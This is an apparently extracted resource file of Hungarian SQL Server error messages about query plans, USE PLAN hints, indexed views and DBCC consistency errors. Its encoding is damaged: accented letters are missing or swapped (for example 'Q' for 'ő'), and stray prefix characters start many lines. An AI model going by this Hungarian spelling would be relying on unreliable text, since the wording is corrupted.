`A CoCreateGuid fggvny sikertelen: %1!s!.

tA RegOpenKeyEx fggvny ( %1!s! ) sikertelen: %2!s!.

xA RegQueryValueEx fggvny ( %1!s! ) sikertelen: %2!s!.

A IIDFromString fggvny sikertelen a kvetkezQnl: %1!s!, (%2!s!).

xA RegDeleteValue fggvny ( %1!s! ) sikertelen: %2!s!.

Az SQL Server nem tudta elQkszteni a DTC-tranzakcit. Hibakd: %1!s!.

BelsQ hiba a lekrdezsfeldolgozban: A lekrdezsfeldolgoz nem tudott hozzfrst szerezni egy szksges fellethez.

Az indexekben hasznlt mutatkat explicit mdon fel kell venni az indexbellt varzslval.

tA belsQ DBCC REPAIR utasts szintaxisa rvnytelen.

Nem sikerlt ALTER TABLE SWITCH utasts vgrehajtsa. A(z)  %1!s!  tbla  %3!s!  oszlophoz oszlopszinten ellenQrztt  %2!s!  korltozs tartozik, amely nem tlthetQ be szemantikai rvnyestshez.

Ez az indexmqvelet %1!s! KB memrit ignyel minden DOP esetben. A(z) %3!s! DOP teljes memriaignye, a(z) %2!s! KB nagyobb, mint az sp_configure trolt eljrs %4!s! KB rtke, amely az  index create memory (KB)  specilis kiszolglkonfigurcis belltsnl van megadva. A problma az rtk nvelsvel vagy a DOP cskkentsvel, s a lekrdezs jbli futtatsval oldhat meg.

A(z)  %1!s!  tbla nem mdosthat, mert egy vagy tbb nem frtztt index tallhat egy nem online llapot fjlcsoportban.

 A lekrdezst nem lehetett befejezni egy online indexobjektum-ltrehozsi mqvelet miatt, ezrt jbl le kell fordtani.

(A lekrdezsfeldolgoz nem tudott lekrdezstervet kszteni, mert munkatblra van szksg, s annak minimlis sormrete meghaladja a maximlisan engedlyezett %1!s! bjtot. Leggyakrabban azrt van szksg munkatblra, mert GROUP BY vagy ORDER BY zradk szerepel a lekrdezsben. Ha a lekrdezs GROUP BY vagy ORDER BY zradkot tartalmaz, akkor fontolja meg a zradkban szereplQ mezQk szmnak s/vagy mretnek cskkentst. Esetleg hasznlja a mezQk elQtagjt (LEFT()) vagy kivonatt (CHECKSUM()) csoportostshoz, illetve hasznljon elQtagot rendezshez. Ne feledkezzen meg azonban arrl, hogy ezek a lehetQsgek mdostjk a lekrdezs mqkdst.

A lekrdezsfeldolgoz nem tudott lekrdezstervet kszteni, mert munkatblra van szksg, s annak minimlis sormrete meghaladja a maximlisan engedlyezett %1!s! bjtot. Leggyakrabban azrt van szksg munkatblra, mert GROUP BY vagy ORDER BY zradk szerepel a lekrdezsben. Kldje el jbl a lekrdezst a ROBUST PLAN mutat nlkl.

Elfogyott a lekrdezsfeldolgoz veremterlete a lekrdezs optimalizlsa kzben. Egyszerqstse a lekrdezst.

A lekrdezsfeldolgoz nem tudott lekrdezstervet elQlltani az adott lekrdezsben definilt mutatk miatt. Kldje el jbl a lekrdezst mutatk megadsa nlkl s a SET FORCEPLAN utasts hasznlata nlkl.

XElfogytak a lekrdezsfeldolgoz belsQ erQforrsai, ezrt nem tudott lekrdezstervet elQlltani. Ez az esemny ritkn fordul elQ, s fQknt a rendkvl sszetett lekrdezseknl, illetve az olyan lekrdezseknl, amelyek rendkvl sok tblra vagy partcira hivatkoznak. Egyszerqstse a lekrdezst. Ha gy vli, hogy ez az zenet tvesen jelent meg, tovbbi tjkoztatsrt forduljon az gyfl-tmogatsi szolglathoz.

`BelsQ hiba a lekrdezsfeldolgozban: A lekrdezsfeldolgoz nem tudott lekrdezstervet elQlltani. Tovbbi tjkoztatsrt forduljon az gyfl-tmogatsi szolglathoz.

IdQtllps trtnt a lekrdezs optimalizlsra val vrakozs kzben. Futtassa jbl a lekrdezst.

BelsQ hiba a lekrdezsfeldolgozban: A lekrdezsfeldolgoz nem vrt hibt szlelt a vgrehajts kzben (HRESULT = 0x%1!s!).

HBelsQ hiba: Elrte a kiszolgl veremkorltozst. EllenQrizze, hogy a lekrdezsben nincs-e tl mly begyazs, s prblja meg egyszerqsteni a lekrdezst.

pBelsQ hiba: Elrte a kifejezsszolgltatsok egyik korltozst. EllenQrizze, hogy lekrdezsben nincsenek-e sszetett kifejezsek, s prblja meg egyszerqsteni a kifejezseket.

|A lekrdezsfeldolgoz nem tudott lekrdezstervet elQlltani, mert az elosztott lekrdezs nem tmogatja a kztes eredmnyek materializlst a DML-lekrdezsekben lvQ alaprtkekkel a tvoli forrsokon keresztl. Prblja meg a tnyleges alaprtkeket hasznlni az ilyen alaprtkek helyett, vagy ossza fel a frisstst tbb utastsra, amelyek kzl az egyik csak a DEFAULT rtkek hozzrendelst tartalmazza, a msik pedig a tbbit.

A lekrdezsfeldolgoz hibt kapott egy frt kommunikcis rtegbQl.

A lekrdezsfeldolgoz nem tudott lekrdezstervet elQlltani egy trbeli indexmutatval rendelkezQ lekrdezshez. Ok: %1!s!. Prblja meg eltvoltani az indexmutatkat vagy a SET FORCEPLAN utastst.

A lekrdezsfeldolgoz nem tudott lekrdezstervet elQlltani, mert a teljes klsQ illeszts prediktumban egy segdlekrdezs tallhat. Ez nem tmogatott az elosztott lekrdezseknl.

A lekrdezsfeldolgoz nem tudott lekrdezstervet elQlltani, mert USE PLAN mutat volt hasznlva egy adatmdost lekrdezshez, mg a mdostshoz megadott tblnak olyan indexe van, amelynek sszelltsa jelenleg online mdon trtnik. Vrja meg, amg elkszl az index online sszelltsa, mielQtt rvnybe lptetn a tervet, vagy hasznljon ms mdszert a lekrdezs belltshoz, pldul frisstse a statisztikai adatokat, hasznljon ms mutatt vagy kzzel rja t a lekrdezst.

A lekrdezsfeldolgoz nem tudta elindtani a prhuzamos lekrdezs-vgrehajtshoz szksges szlerQforrsokat.

BelsQ hiba a lekrdezsfeldolgozban: A vgrehajtsra kivlasztott terv nem tmogatja a meghvott vgrehajtsi rutint.

lIdQtllps trtnt, mikzben a rendszer arra vrt, hogy a memria-erQforrsok vgrehajtsk a lekrdezst a(z)  %1!s!  erQforrskszletben (%2!s!). Futtassa jbl a lekrdezst.

\Nem tallhat indexbejegyzs a(z) %2!s! tbla %1!s! indexazonostjban (adatbzis:  %3!s! ). A jelzett index srlt vagy problma van az aktulis frisstsi tervvel. Futtassa a DBCC CHECKDB vagy a DBCC CHECKTABLE utastst. Ha a problma tartsan fennll, forduljon a termktmogat szolglathoz.

0Nem sikerlt a lapmretnl nagyobb sort beszrni a kivonattblba. Kldje el jbl a lekrdezst a ROBUST PLAN optimalizlsi mutat hasznlatval.

,A lekrdezs trlve lett, mert a lekrdezs (%1!s!) becslt idQignye meghaladja a belltott %2!s! kszbrtket. Forduljon a rendszergazdhoz.

Nem sikerlt vgrehajtani a mqveletet, mert a krt memriaengedly nem volt elrhetQ a(z)  %1!s!  erQforrskszletben (%2!s!). Futtassa jbl a lekrdezst, cskkentse a lekrdezs terhelst vagy ellenQrizze az erQforrs-vezrlQ belltsait.

HA lekrdezsfeldolgoz nem tud tervet elQlltani a(z)  %1!s!  tblhoz vagy nzethez, mert a tbla olyan fjlcsoportban tallhat, amely nem online llapot.

A lekrdezsfeldolgoz nem tud tervet elQlltani, a(z)  %2!s!  tbla vagy nzet  %1!s!  indexe le van tiltva.

A lekrdezsfeldolgoz nem tudott lekrdezstervet elQlltani. Futtassa jbl a lekrdezst a(z) %1!s! kvetsi jelzQ letiltsa utn.

DNem sikerlt megszerezni a(z) %1!s! KB mretq memriaengedlyt, mert az meghaladja a(z)  %2!s!  (%3!s!) munkaterhelsi csoporthoz s a(z)  %4!s!  (%5!s!) erQforrskszlethez megadott maximlis rtket. Forduljon a rendszergazdhoz, s krje a memriafelhasznlsi hatrrtk nvelst.

Az oszloptrindex sszelltsa nem indthat el, mert legalbb %1!s! KB memria szksges hozz, de lekrdezsenknt legfeljebb %2!s! KB memria felhasznlsa engedlyezett a(z)  %3!s!  (%4!s!) munkaterhelsi csoportban, a kvetkezQ erQforrskszletben:  %5!s!  (%6!s!). Prblja jbl elvgezni a mqveletet azt kvetQen, hogy mdostotta az oszloptrindexet, hogy kevesebb oszlopot tartalmazzon, vagy hogy nvelte a kioszthat memria maximlis mennyisgt az erQforrs-vezrlQvel.

Nem hozhat ltre a frtztt  %1!s!  index a(z)  %2!s!  nzeten, mert a GROUP BY zradk nlkli, sszestett nzetek frtztt indexeihez kizrlag a DISTRIBUTION=NONE terjesztsi bellts tmogatott.

Nem lehet ltrehozni a frtztt  %1!s!  indexet a(z)  %2!s!  nzetben, mert a nzetdefinci vlasztsi listja nem tartalmazza a GROUP BY zradkban lvQ sszes oszlopot. Vegye fel ezeket az oszlopokat a vlasztsi listra.

Nem lehet ltrehozni a frtztt  %1!s!  indexet a(z)  %2!s!  nzetben, mert az indexkulcs olyan oszlopokat tartalmaz, amelyek nem szerepelnek a GROUP BY zradkban. Tvoltsa el az indexkulcsbl a GROUP BY zradkban nem szereplQ oszlopokat.

Nem lehet ltrehozni a frtztt  %1!s!  indexet a(z)  %2!s!  nzetben, mert a nzet ismeretlen rtkre hivatkozik (nullzhat kifejezs SUM sszestsre). Csak nem nullzhat rtkekre hivatkozzon a SUM sszestsben. Ehhez az ISNULL() fggvnyt hasznlhatja.

Nem lehet ltrehozni a frtztt  %1!s!  indexet a(z)  %2!s!  nzetben, mert a vlasztsi listja nem tartalmazza a COUNT_BIG(*) fggvnyt. Vegye fel a COUNT_BIG(*) fggvnyt a vlasztsi listra.

xNem lehet ltrehozni a frtztt  %1!s!  indexet a(z)  %2!s!  nzetben, mert egyetlen sor sem felel meg a nzet defincijnak. Szntesse meg az ellentmondsokat a nzetdefinciban.

hNem lehet ltrehozni a frtztt  %1!s!  indexet a(z)  %2!s!  nzetben, mert a nzet vlasztsi listja sszestQ fggvny vagy csoportost oszlop eredmnyt hasznl kifejezst tartalmaz. Tvoltsa el az sszestQ fggvny vagy csoportost oszlop eredmnyt hasznl kifejezst a vlasztsi listrl.

Nem sikerlt fenntartani az indexelt  %1!s!  nzetet, mert sszestsi eredmnyeket hasznl kifejezst vagy rangsorol, illetve sszestQ fggvnyt tartalmaz. Dobja el a nzet frtztt indext vagy mdostsa a nzet defincijt.

A lekrdezsoptimalizl elrte az optimalizls kzben hasznlhat nzetek maximlis szmra vonatkoz belsQ hatrrtket.

Nem sikerlt fenntartani a(z)  %1!s!  indexelt nzetet a(z)  %2!s!  index ignore_dup_key belltsa miatt. Dobja el az indexet vagy hozza ltre jbl az ignore_dup_key bellts megadsa nlkl.

A MERGE utasts tbbszr prblt meg UPDATE vagy DELETE mqveletet vgrehajtani ugyanabban a sorban. Ez olyankor fordul elQ, amikor egy clsor tbb forrssornak felel meg. A MERGE utasts nem tud tbb alkalommal UPDATE/DELETE mqveletet vgrehajtani a clknt megadott tbla ugyanazon sorban. Pontostsa az ON zradkot gy, hogy a clsor legfeljebb egy forrssornak feleljen meg, vagy hasznlja a GROUP BY zradkot a forrssorok csoportostshoz.

A MERGE utasts rvnytelen, ha az  ON DELETE SET NULL  s az  ON UPDATE CASCADE  mqveletet is elindtja egy hivatkozsi integritsi korltozsra vonatkozan. Mdostsa a MERGE utasts ltal vgrehajtott mqveleteket gy, hogy az utasts ne indtsa el mindkt mqveletet egy hivatkozsi integritsi korltozsra vonatkozan.

A lekrdezsfeldolgoz nem tud tervet elQlltani. A(z)  %1!s!  tbla nem rhetQ el, mert srlt a halommemria. A tbla s a halommemria jbli ltrehozshoz lltsa offline llapotra az adatbzist, majd futtassa jbl a lekrdezsfeldolgozt.

|IdQtllps trtnt, mikzben a rendszer arra vrt, hogy a tvoli memria-erQforrsok vgrehajtsk a lekrdezst a(z)  %1!s!  erQforrskszletben (%2!s!). Futtassa jbl a lekrdezst.

0A terv rvnytelen.

BelsQ hiba a lekrdezsfeldolgozban: A lekrdezsfeldolgoz nem vrt hibt szlelt egy tvoli lekrdezsi fzis feldolgozsa kzben.

BelsQ hiba a lekrdezsfeldolgozban: A lekrdezsfeldolgoz vratlan hibt szlelt a feldolgozs sorn. [%1!s!]

Nem sikerlt a SELECT utasts kurzor tjn trtnQ vgrehajtsa, mert a USE PLAN mutathoz megadott XML-terv nem tartalmaz sem feltltsi, sem lehvsi tervet, de legalbb az egyiknek jelen kell lennie. A terv knyszertett rvnyestsnek elQsegtshez hasznljon az SQL Server rendszerbQl rgztett, mdosts nlkli XML-kurzortervet.

Nem sikerlt a lekrdezsterv knyszertett rvnyestse, mert a USE PLAN mutatban megadott XML-tervmegjelents rvnytelen csillagsma tpus illesztsi specifikcit tartalmaz. Adjon meg olyan USE PLAN mutatt, amely az SQL Server rendszer ltal elQlltott, mdosts nlkli XML-tervmegjelentst tartalmaz. Ez elQsegtheti a terv knyszertett rvnyestst.

pNem tallhat lekrdezsterv, mert az optimalizl tllpte az engedlyezett mqveletek szmt a USE PLAN mutatban megadott terv keresse kzben. ElQszr tvoltsa el a USE PLAN mutatt. Ha szksges, ezutn (1) frisstse a statisztikai adatokat, (2) hasznljon ms mutatkat, pldul illesztsmutatkat, indexmutatkat vagy az OPTIMIZE FOR mutatt, (3) rja t a lekrdezst, illetve ossza fel kettQ vagy tbb klnll lekrdezsre.

 A lekrdezs nem fordthat le, mert a <CursorStmt> elem a USE PLAN mutatnak megadott XML-tervben szerepel, de a USE PLAN mutat nem kurzor tpus utastsra van alkalmazva. Hasznljon az SQL Server rendszerbQl szrmaz, mdosts nlkli XML-tervet az utastshoz.

Nem sikerlt a kurzorterv knyszertett rvnyestse, mert a bemeneti tervben tbb <Operation> csompont tallhat az OperationType=%1!s! belltssal. Hasznljon az SQL Server rendszerbQl szrmaz, mdosts nlkli XML-kurzortervet.

XNem sikerlt a kurzorterv rvnyestse, mert USE PLAN mutat hasznlatval nem knyszerthetQ a FAST_FORWARD s a STATIC tpustl klnbzQ tpus kurzor terve. Tvoltsa el a USE PLAN mutatt, s frisstse a statisztikai adatokat, vagy hasznljon ms mutatt a lekrdezsterv kivlasztshoz.

Nem sikerlt a kurzorterv knyszertett rvnyestse, mert a USE PLAN mutatnak megadott XML-terv <CursorPlan> elemben nem szerepel a ktelezQ %1!s! elem. Hasznljon az SQL Server rendszerbQl rgztett, mdosts nlkli XML-kurzortervet.

A USE PLAN mutatban megadott  %1!s!  adatbzis nem ltezik. Adjon meg ltezQ adatbzis-tranzakcit.

A lekrdezs nem fordthat le, mert a USE PLAN mutat tkzik a(z) %1!s! mutatval. Tvoltsa el a(z) %2!s! mutatt.

A lekrdezs nem fordthat le, mert a USE PLAN mutat tkzik a SET %1!s! ON belltssal. Adja meg a(z) %2!s! OFF belltst.

xNem lehet lefordtani a lekrdezst, mert a USE PLAN mutat XML-tervben tallhat RelOp elemhez tartoz kvetkezQ kombinci rvnytelen: LogicalOp =  %1!s! , PhysicalOp =  %2!s!  s sub_element =  %3!s! . Hasznljon rtelmezhetQ kombincit. Hasznljon automatikusan elQlltott, mdosts nlkli XML-tervet.

\A lekrdezs nem hajthat vgre, mert a USE PLAN mutat tkzik az elosztott lekrdezs vagy a teljes szveges mqveletek hasznlatval. Tvoltsa el a USE PLAN mutatt.

A lekrdezs nem hajthat vgre, mert a USE PLAN mutat helytelen formtum XML-tervet tartalmaz. EllenQrizze, hogy az XML-terv rvnyes-e, s alkalmas-e a knyszertett rvnyestsre. Tovbbi tjkoztatst az online knyvekben tall.

A lekrdezs nem futtathat, mert a USE PLAN mutatban tallhat XML-terv helytelenl formzott Spool elemet (szlQ RelOp alelem NodeId attribtuma: %1!s!) tartalmaz. EllenQrizze, hogy mindegyik Spool elem RelOp szlQjhez egyedi NodeId attribtum tartozik-e, s hogy mindegyik Spool elemhez csak egy RelOp alelem, illetve PrimaryNodeId attribtum tartozik-e, mert a Spool elemek nem rendelkezhetnek egyszerre mindkettQvel. A Spool elem PrimaryNodeId attribtumnak olyan meglvQ RelOp alelem NodeId attribtumra kell hivatkoznia, amelyhez tartozik Spool alelem. Hasznljon mdosts nlkli XML-tervmegjelentst USE PLAN mutatknt.

LA lekrdezs nem futtathat, mert a USE PLAN mutatban megadott XML-terv %1!s! elemhez %2!s! %3!s! csompontnak kell tartoznia gyermekknt, de %4!s! tallhat.

A lekrdezsfeldolgoz nem tudott lekrdezstervet elQlltani, mert a USE PLAN mutat olyan tervet tartalmaz, amely nem rvnyes a lekrdezshez. Tvoltsa el vagy cserlje le a USE PLAN mutatt. A terv knyszertett rvnyestsnek elQsegtshez ellenQrizze, hogy a USE PLAN mutatban megadott terv az SQL Server rendszer ltal az adott lekrdezshez automatikusan elQlltott terv-e.

A lekrdezs nem futtathat, mert tbb USE PLAN mutatt tartalmaz. Legfeljebb egy USE PLAN mutatt hasznlhat.

pHiba trtnt negatv vagy NULL ablakhatrol miatt.

xA CUBE, a ROLLUP, illetve a GROUPING SET lekrdezsekkel hasznlt sszestQ fggvnyeknek megfelelQ adatokat kell szolgltatniuk a rszsszestsek egyestshez. A problma megoldshoz tvoltsa el az sszestQ fggvnyt, vagy rja meg a lekrdezst a UNION ALL zradk hasznlatval a GROUP BY zradkokhoz. 

Ugyanabban a hatkrben tallhat tbb rendezett sszestQ fggvnyhez klcsnsen inkompatibilis rendezs tartozik.

A USE PLAN mutatban megadott  %1!s!  index nem ltezik. Adjon meg ltezQ indexet, vagy hozzon ltre indexet a megadott nvvel.

A lekrdezsterv knyszertse sikertelen volt, mert problma merlt fel egy, a tervben hivatkozott indexelt nzetben.

TA lekrdezs nem hajthat vgre. Tbb TABLE HINT zradk van megadva a(z)  %1!s!  objektumhoz. Tblahivatkozsonknt legfeljebb egy TABLE HINT zradkot hasznljon.

tA lekrdezs nem hajthat vgre. Az OPTION zradkban tallhat TABLE HINT mutat a(z)  %1!s!  objektum nem egyrtelmq hivatkozshoz vezet. Hasznljon inkbb USE PLAN lekrdezst.

TA lekrdezs nem hajthat vgre. A szemantikai hats  %1!s!  mutat szerepel a(z)  %3!s!  objektum  %2!s!  zradkban, de a megfelelQ  %4!s!  zradkban nem tallhat meg. Mdostsa gy az OPTION (TABLE HINTS...) zradkot, hogy a szemantikai hats mutatk megfeleljenek a WITH zradknak.

$A lekrdezs nem hajthat vgre. A(z)  %1!s!  objektum meg van adva a TABLE HINT zradkban, de nincs hasznlva a lekrdezsben vagy nem felel meg a lekrdezsben megadott aliasnvnek. A TABLE HINT zradkban lvQ tblahivatkozsoknak egyeznik kell a WITH zradkkal.

A lekrdezs nem hajthat vgre. Tbla rtkq vagy OPENROWSET  %1!s!  fggvny nem adhat meg a TABLE HINT zradkban.

A rszeljrs szla megszakadt a prhuzamos lekrdezs-vgrehajts sorn.

A kvetkezQ fggvny bemeneti paramternek egy llandnak kell lennie: %1!s!.

A szzalkfggvny bemeneti paramtere kvl esik a [0, 1] tartomnyon.

Egy RANGE ablakkeret ORDER BY listja nem tartalmazhat LOB tpus kifejezseket.

Egy RANGE ablakkeret ORDER BY listjnak teljes mrete %1!s! bjt. A legnagyobb tmogatott mret %2!s! bjt.

A Lag s a Lead fggvny eltolsi paramtere nem lehet negatv rtk.

lA REDISTRIBUTE s a REDUCE mutat azt vrja, hogy az elsQ illesztsi felttel oszlopok kztti egyenlQsgi sszehasonlts legyen. Mdostsa a lekrdezst, majd futtassa jbl.

A REPLICATE s a REDUCE mutat csak belsQ illesztssel hasznlhat. Mdostsa a lekrdezst, majd futtassa jbl.

DTblahiba: A(z)  %1!s!  objektumazonost inkonzisztens metaadatokat tartalmaz. Ez a hiba nem javthat ki, s akadlyozza az objektum tovbbi feldolgozst.

|Memriafoglalsi hiba trtnt a DBCC-feldolgozs kzben.

A(z) %2!s! azonostj adatbzisban levQ %1!s! trolsi egysg a GAM %3!s! lapon s az SGAM %4!s! lapon is le van foglalva.

A(z) %2!s! azonostj adatbzisban levQ %1!s! trolsi egysget tbb lefoglal objektum is lefoglalta.

@A(z) %2!s! azonostj adatbzisban levQ %1!s! trolsi egysg lefoglaltnak van megjellve a GAM-lapon, de sem az SGAM-lap, sem az IAM-lap nem foglalta le.

tA(z) %2!s! azonostj adatbzisban levQ %1!s! jelq lap le van foglalva az SGAM %3!s! lapon s a PFS %4!s! lapon, de nincs lefoglalva egyetlen IAM-lapon sem. PFS-jelzQ(k):  %5!s! .

A trbeli index, az XML-index vagy a(z)  %1!s!  indexelt nzet (objektumazonost: %2!s!) olyan sorokat tartalmaz, amelyeket nem a nzetdefinci lltott elQ. Ez nem felttlenl jelenti azt, hogy integritsi hiba van az adatbzisban adataiban. A trbeli indexek, az XML-indexek s az indexelt nzetek DBCC-hibinak megoldsrl a SQL Server online knyvekben tall rszletes ismertetst.

A trbeli index, az XML-index vagy a(z)  %1!s!  indexelt nzet (objektumazonost: %2!s!) nem tartalmazza a nzetdefinci ltal elQlltott sszes sort. Ez nem felttlenl jelenti azt, hogy integritsi hiba van az adatbzisban adataiban. A trbeli indexek, az XML-indexek s az indexelt nzetek DBCC-hibinak megoldsrl a SQL Server online knyvekben tall rszletes ismertetst.

Tblahiba: Objektumazonost: %1!s!, indexazonost: %2!s!, partciazonost: %3!s!, foglalsi egysg azonostja: %4!s! (tpus: %5!s!). A(z) %6!s! azonostj lap helytelen lapazonostt tartalmaz a lapfejlcben. A lapfejlcben levQ PageId = %7!s!.

A(z) %2!s! azonostj adatbzisban levQ %1!s! jelq lap ktszer van lefoglalva a kvetkezQkhz: objektumazonost: %3!s!, indexazonost: %4!s!, partciazonost: %5!s!, foglalsi egysg azonostja: %6!s! (tpus: %7!s!) s objektumazonost: %8!s!, indexazonost: %9!s!, partciazonost: %10!s!, foglalsi egysg azonostja: %11!s! (tpus: %12!s!).

A(z) %1!s! trolsi egysg a(z)  %2!s!  objektumhoz s legalbb mg egy objektumhoz van lefoglalva.

%1!s! objektumazonost, %2!s! indexazonost, %3!s! partciazonost, %4!s! foglalsi egysg azonostja (tpus: %5!s!): A fejlcben (%6!s!) tallhat rekordszm nem egyezik a(z) %8!s! jelq lapon tallhat rekordok szmval (%7!s!).

Felhasznli tranzakciban nem hajthat vgre %1!s! mqvelet. Fejezze be a tranzakcit, s hajtsa vgre jbl az utastst.

Az ellenQrzs befejezQdtt A rendszer hibt tallt a tnyek sszegyqjtse kzben. Lehetsges, hogy nincs elegendQ terlet a tempdb adatbzis szmra, vagy egy rendszertbla inkonzisztens. Tekintse t az elQzQ hibt.

Tblahiba: Objektumok kztti csatols: A(z) %1!s! jelq lap (trolhely: %2!s!, objektumazonost: %3!s!, indexazonost: %4!s!, partciazonost: %5!s!, foglalsi egysg azonostja: %6!s!, tpus: %7!s!) a(z) %8!s! jelq lapra hivatkozik (trolhely: %9!s!, objektumazonost: %10!s!, indexazonost: %11!s!, partciazonost: %12!s!, foglalsi egysg azonostja: %13!s!, tpus: %14!s!).

Tblahiba: Objektumok kztti csatols: A(z) %1!s! jelq szlQlap (trolhely: %2!s!, objektum: %3!s!, index: %4!s!, partci: %5!s!, foglalsi egysg: %6!s! (%7!s!)) s a(z) %8!s! jelq lap (objektum: %9!s!, index: %10!s!, partci: %11!s!, foglalsi egysg: %12!s! (%13!s!)) a(z) %14!s! jelq lapra hivatkozik, de nem ugyanabban az objektumban tallhatk.

%1!s! objektumazonost, %2!s! indexazonost, %3!s! partciazonost, %4!s! foglalsi egysg azonostja (tpus: %5!s!): A fejlcben (%6!s!) tallhat msolt rekordszm nem egyezik a(z) %8!s! jelq lapon tallhat msolt rekordok szmval (%7!s!).

Objektumazonost: %1!s!, indexazonost: %2!s!, partciazonost: %3!s!, foglalsi egysg azonostja: %4!s! (tpus: %5!s!): Nem sikerlt feldolgozni a(z) %6!s! jelq lapot. A tovbbi rszleteket a tbbi hibazenet tartalmazza.

Objektumazonost: %1!s!, indexazonost: %2!s!, partciazonost: %3!s!, foglalsi egysg azonostja: %4!s! (tpus: %5!s!): A rendszer hibkat tallt a(z) %6!s! azonostj, soron kvli adatokban (tulajdonos: %7!s! rekord, azonost: %8!s!).

Adatbzishiba: A(z) %1!s! adatbzis inkonzisztens metaadatokat tartalmaz. Ez a hiba nem javthat ki, s akadlyozza a tovbbi DBCC-feldolgozst. Hajtson vgre visszalltst egy biztonsgi msolatbl.

$Tblahiba: Objektumazonost: %1!s!, indexazonost: %2!s!, partciazonost: %3!s!, foglalsi egysg azonostja: %4!s! (tpus: %5!s!). Eltrs szlelhetQ a B-fa szintjei kztt a kvetkezQ lapon: %6!s!. A(z) %7!s! szint nem felel meg a szlQ %9!s! %8!s! szintjnek.

A(z) %1!s! fjlcsoport-azonost nem tallhat a(z)  %2!s!  adatbzis sys.filegroups katalgusnzetben.

 Tblahiba: Objektumazonost: %1!s!, indexazonost: %2!s!, partciazonost: %3!s!, foglalsi egysg azonostja: %4!s! (tpus: %5!s!). A(z) %6!s! jelq lapon (szint: %7!s!) levQ alacsony kulcsrtk nem >= a(z) %8!s! szlQben (trolhely: %9!s!) levQ kulcsrtknl.

\Tblahiba: Objektumazonost: %1!s!, indexazonost: %2!s!, partciazonost: %3!s!, foglalsi egysg azonostja: %4!s! (tpus: %5!s!). A(z) %6!s! jelq lapon (szint: %7!s!) levQ magas kulcsrtk nem kisebb a kvetkezQ %10!s! lap %8!s! szlQjben (trolhely: %9!s!) levQ alacsony kulcsrtknl.

Tblahiba: Objektumazonost: %1!s!, indexazonost: %2!s!, partciazonost: %3!s!, foglalsi egysg azonostja: %4!s! (tpus: %5!s!). A(z) %7!s! jelq lapon levQ, az elQzQ lapra mutat %6!s! hivatkozs nem felel meg annak az elQzQ, %8!s! jelq lapnak, amelyet a(z) %9!s! szlQ (trolhely: %10!s!) vr az adott laphoz.

Tblahiba: Objektumazonost: %1!s!, indexazonost: %2!s!, partciazonost: %3!s!, foglalsi egysg azonostja: %4!s! (tpus: %5!s!). Eltrs szlelhetQ a B-fa hivatkozslncban. %6!s!->kvetkezQ = %7!s!, de %8!s!->elQzQ = %9!s!.

Tblahiba: Objektumazonost: %1!s!, indexazonost: %2!s!, partciazonost: %3!s!, foglalsi egysg azonostja: %4!s! (tpus: %5!s!). A B-fa %6!s! jelq lapjnak kt szlQcsompontja van: %7!s!, trolhely: %8!s! s %9!s!, trolhely: %10!s!.

pTblahiba: %1!s! jelq lap, objektumazonost: %2!s!, indexazonost: %3!s!, partciazonost: %4!s!, foglalsi egysg azonostja: %5!s! (tpus: %6!s!). Nem vrt laptpus: %7!s!.

Tblahiba: Objektumazonost: %1!s!, indexazonost: %2!s!, partciazonost: %3!s!, foglalsi egysg azonostja: %4!s! (tpus: %5!s!), lap: %6!s!. A teszt (%7!s!) vgrehajtsa sikertelen volt. Az rtkek: %8!s! s %9!s!.

Tblahiba: Objektumazonost: %1!s!, indexazonost: %2!s!, partciazonost: %3!s!, foglalsi egysg azonostja: %4!s! (tpus: %5!s!), lap: %6!s!. A teszt (%7!s!) vgrehajtsa sikertelen volt. A kvetkezQ cm nincs megfelelQen igaztva: 0x%8!s!.

Tblahiba: Objektumazonost: %1!s!, indexazonost: %2!s!, partciazonost: %3!s!, foglalsi egysg azonostja: %4!s! (tpus: %5!s!), lap: %6!s!. A teszt (%7!s!) vgrehajtsa sikertelen volt. A kvetkezQ trolhely rvnytelen: %8!s!, eltols: 0x%9!s!.

Tblahiba: Objektumazonost: %1!s!, indexazonost: %2!s!, partciazonost: %3!s!, foglalsi egysg azonostja: %4!s! (tpus: %5!s!), lap: %6!s!. A teszt (%7!s!) vgrehajtsa sikertelen volt. A kvetkezQ trolhely tfedi az elQzQ sort: %8!s!, eltols: 0x%9!s!.

DTblahiba: Objektumazonost: %1!s!, indexazonost: %2!s!, partciazonost: %3!s!, foglalsi egysg azonostja: %4!s! (tpus: %5!s!), lap: %6!s!. A teszt (%7!s!) vgrehajtsa sikertelen volt. A(z) %8!s! trolhelynl a sor belenylik a szabad terletbe a kvetkezQ helyen: 0x%9!s!.

Tblahiba: Objektumazonost: %1!s!, indexazonost: %2!s!, partciazonost: %3!s!, foglalsi egysg azonostja: %4!s! (tpus: %5!s!), lap: (%6!s!:%7!s!), sor: %8!s!. A teszt (%9!s!) vgrehajtsa sikertelen volt. Az rtkek: %10!s! s %11!s!.

Tblahiba: A rendszer jbl ltrehozza a(z) %1!s! objektumazonostt s a(z) %2!s! indexazonostt.

|Tblahiba: A(z) %1!s! jelq foglalsi laphoz rvnytelen %2!s! lapfejlcrtkek tartoznak. Tpus: %3!s!. EllenQrizze a lapon a tpust, a foglalsi egysg azonostjt s a lapazonostt.

Tblahiba: A(z) %1!s! azonostj objektum esetben (indexazonost: %2!s!, partciazonost: %3!s!, foglalsi egysg azonostja: %4!s!, tpus: %5!s!) tbb IAM-lap tartalmaz foglalsokat ugyanarra az intervallumra vonatkozan. IAM-lapok: %6!s! s %7!s!.

,Adatbzishiba: A(z) %1!s! jelq lap helytelen tpussal van megjellve a(z) %2!s! PFS-lapon. A(z) 0x%3!s! PFS-llapot a kvetkezQt vrta: 0x%4!s!.

A(z) %1!s! ltal kijavtott %2!s! foglalsi hiba s %3!s! konzisztenciahiba nincs hozzrendelve egyetlen objektumhoz sem.

Tblahiba a(z)  %1!s!  tblban (%2!s! azonost). Az adatsornak nincs megfelelQ indexsora a(z)  %3!s!  indexben (%4!s! azonost). Lehet, hogy hinyoznak a kulcsok vagy rvnytelenek az indexsor egyeztetshez:

xTblahiba a(z)  %1!s!  tblban (%2!s! azonost). A(z)  %3!s!  indexben (azonost: %4!s!) nem felel meg egyetlen adatsornak sem. Felesleges vagy rvnytelen kulcsok a kvetkezQnl:

Az adatsort (%1!s!:%2!s!:%3!s!) a(z) (%4!s!) azonostja a(z)  %5!s!  indexrtkekkel.

Az indexsor (%1!s!:%2!s!:%3!s!) a(z) (%4!s!) rtkekkel a(z) (%5!s!) ltal azonostott adatsorra mutat.

